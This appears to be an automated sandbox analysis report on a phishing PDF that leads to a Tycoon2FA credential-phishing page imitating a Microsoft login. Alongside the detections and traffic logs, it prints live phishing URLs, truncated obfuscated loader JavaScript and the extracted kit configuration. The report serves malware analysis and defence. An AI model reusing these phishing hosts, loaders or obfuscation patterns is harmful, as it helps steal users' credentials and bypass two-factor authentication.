Edit tour

Windows Analysis Report
Contract Invoice Approval.pdf

Overview

General Information

Sample name:	Contract Invoice Approval.pdf
Analysis ID:	1644925
MD5:	efb7afc23b2cc667f0205e3df6b70161
SHA1:	4dbe6fd3870b16f1b61ee2aa1022ae2182ebde68
SHA256:	5aebca6ebf77f7611fad29e2ce958e3c933d7ad088457c9fb82e5645bc830034
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected landing page (webpage, office document or email)

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

Acrobat.exe (PID: 6980 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Contract Invoice Approval.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7156 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6236 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2256 --field-trial-handle=1568,i,5754402613691003974,8226916317121868379,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 7648 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7848 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2132,i,2810463992544294309,8181193124559721345,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "LA8biU",
  "emailcheck": "0",
  "webname": "rtrim(/web9/, '/')",
  "urlo": "/sqgU1SMa13J1t7Ypk2rEkYjy9WX6zW74mtvfxjHVeEurHlzb",
  "gdf": "/ij7GaljUgFIufMA43hynhUawxfj2oNHb0F8jab111"
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_182	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
1.8..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.3.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.4.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.13..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.13..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.14..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.18.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
1.3.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.4.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.11.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.14..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.21..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.0.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.3.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.3.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 19 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Software Vulnerabilities
• Networking
• System Summary
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Contract Invoice Approval.pdf

Avira: detected

Antivirus detection for URL or domain

Source: https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d	Avira URL Cloud: Label: phishing
Source: https://vleducationdemo.com/cllascio.php?342d3638373437343730373333613266326635613539333737613265363	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 2.18.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "LA8biU", "emailcheck": "0", "webname": "rtrim(/web9/, '/')", "urlo": "/sqgU1SMa13J1t7Ypk2rEkYjy9WX6zW74mtvfxjHVeEurHlzb", "gdf": "/ij7GaljUgFIufMA43hynhUawxfj2oNHb0F8jab111"}

Multi AV Scanner detection for submitted file

Source: Contract Invoice Approval.pdf	Virustotal: Detection: 32%			Perma Link
Source: Contract Invoice Approval.pdf	ReversingLabs: Detection: 40%

Phishing

AI detected phishing page

Source: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'zy7z.fmaymzjp.ru' does not match the legitimate domain for Microsoft., The URL uses a Russian domain extension '.ru', which is unusual for Microsoft., The subdomain 'zy7z.fmaymzjp' is not associated with Microsoft and appears random., The presence of input fields for 'Email, phone, or Skype' is typical for phishing attempts targeting Microsoft services. DOM: 2.3.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 2.21..script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_182, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 2.18.d.script.csv, type: HTML
Source: Yara match	File source: 1.8..script.csv, type: HTML
Source: Yara match	File source: 1.4.d.script.csv, type: HTML
Source: Yara match	File source: 2.13..script.csv, type: HTML
Source: Yara match	File source: 2.14..script.csv, type: HTML
Source: Yara match	File source: 1.11.d.script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: PDF document	Joe Sandbox AI: Page contains button: 'VIEW WITH ADOBE' Source: 'PDF document'
Source: PDF document	Joe Sandbox AI: PDF document contains prominent button: 'view with adobe'

Source: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY

HTTP Parser: Number of links: 0

Source: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://zy7z.fmaymzjp.ru/fIcaNduRepaS/

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Portfolio & Agency - Modern Design</title> <link href="https://fonts.googleapis.com/css2?family=Montserrat...

Source: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY

HTTP Parser: Title: Enter Secure System does not match URL

Source: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY	HTTP Parser: Invalid link: Terms of use
Source: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY	HTTP Parser: Invalid link: Privacy & cookies

Source: https://zy7z.fmaymzjp.ru/fIcaNduRepaS/	HTTP Parser: function zthvemvsjv(){ozagajgvpm = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+rwr1vmlzaw9uic0gvhjhbnnmb3jtaw5nievkdwnhdglvbjwvdgl0bgu+ciagphn0ewxlpgogicagym9kesb7ciagicagigzvbnqtzmftawx5oianu2vnb2ugvuknlcbuywhvbwesiedlbmv2yswgvmvyzgfuyswgc2fucy1zzxjpzjskicagicagbwfyz2luoiawowogicagicbwywrkaw5noiawowogicagicbiywnrz3jvdw5klwnvbg9yoiajzjlmowy5owogicagicbjb2xvcjogizmzmzskicagih0kicagighlywrlcib7ciagicagigjhy2tncm91bmq6igxpbmvhci1ncmfkawvudcgxmzvkzwcsicm2ytexy2isicmyntc1zmmpowogicagicbjb2xvcjogi2zmzjskicagicagcgfkzgluzzognjbwecaymhb4owogicagicb0zxh0lwfsawduoibjzw50zxi7ciagicb9ciagicbozwfkzxigadegewogicagicbtyxjnaw46ida7ciagicagigzvbnqtc2l6ztogm3jlbtskicagicagzm9udc13zwlnahq6igjvbgq7ciagicb9ciagicbozwfkzxigccb7ciagicagigzvbnqtc2l6ztogms4ycmvtowogicagicbtyxjnaw4tdg9woiaxmhb4owogicagfqogicagbmf2ihskicagicagymfja2dyb3vuzdogcmdiysgyntusidi1nswgmju1lcawljkpowogi...
Source: https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d	HTTP Parser: var xjxzftqxptxzekyh = document.createelement("script");xjxzftqxptxzekyh.setattribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(xjxzftqxptxzekyh);xjxzftqxptxzekyh.onload=function(){beijawawyrknibdx = atob;var {a,b,c,d} = json.parse(beijawawyrknibdx("eyjhijoiavpmnctgtkdynxv1d1ltvje3smpacmxqwku4r3juandtnec4oecywensn0dnqxq4znrjnjfok3bvbljtdvjrcstqntfhmu0yzjfydvhunvljrmfurkkyqzjhu0tgqtj0nkhravnywnhpqnzreujkevlvvysxa1fvm3pywefyxc9gqwt1cfvhvuj0ywdqsm5gtkdnzwzwb1lxu211qxnotfvscmpqumrjrjrsrjfhz201wexlynbmvmnnmklwm0izaevcl1dvnwt2ahzmadzuzm9ybhrevtl0k3pwevnhamx2ovdiwddna29iyvbzbwv2tjlyehf3znhvc1hzamjxstlcl1hclzdptelmbhltv3rsq1z4cmdkym43cly4cumxnnvrtysywhz4xc9tntrkbgn1ndbnufwvwgq2ckq2rkgrzjvztm43ogkwyunjtxvbb2p2zmjawnjfnvpnzxn3owffqlngsgvjtzvpszrnquxnmkljsmz3mnzxzvp0rlforjfpvunxatbjmmfhdhr4ynzzawvxwvwvdgncl0l6a1vmqkr3uutcl2vlukwwcxrxulg2vglvzknoetdtzvdxckzlyjbzdmfkbu5dn1dcl2syrdlxbvy1vxngwkdoefvcd0frcwxntm91vu01mvd5qunqcw12sljvzehsnecrekhwrg1hwxrxee5fc0le...
Source: anonymous function	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "la8biu";var emailcheck = "0";var webname = "rtrim(/web9/, '/')";var urlo = "/sqgu1sma13j1t7ypk2rekyjy9wx6zw74mtvfxjhveeurhlzb";var gdf = "/ij7galjugfiufma43hynhuawxfj2onhb0f8jab111";var odf = "/ghrlslhz12d92rywxsayyzjfv3rhycvpdgt4ezp6cd646";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragent.match(/edg/i)){ browse...

Source: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY

HTTP Parser: <input type="password" .../> found

Source: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY

HTTP Parser: No favicon

Source: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY

HTTP Parser: No <meta name="author".. found

Source: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 104.168.69.110:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.168.69.110:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.168.69.110:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.183.99:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.183.99:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.100:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.109:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.247:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.18.216:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.16:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.16:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.16:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.16:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.16:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.16:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49798 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 55MB

Source: Joe Sandbox View	IP Address: 140.82.113.3 140.82.113.3
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d HTTP/1.1Host: vleducationdemo.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://vleducationdemo.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fIcaNduRepaS/ HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://vleducationdemo.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zy7z.fmaymzjp.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zy7z.fmaymzjp.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zy7z.fmaymzjp.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=YZEUHSCJI.rvONGdebKWfmJO1MU000AL0IFeHGUCrzo-1742536991-1.0.1.1-tGF_dPzqkBW7jSttPZrEbyV94IZ1P3IyoGH9RKQKEBPdFDbD5Ds8iX2XKa_xr_5ND5._2_7YzPKJj40FGJqY9Uk1HqQtlL0zSUM0ocNyFX0
Source: global traffic	HTTP traffic detected: GET /jawari@d09yk9wv HTTP/1.1Host: svh3dl.djktgj.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://zy7z.fmaymzjp.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://zy7z.fmaymzjp.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
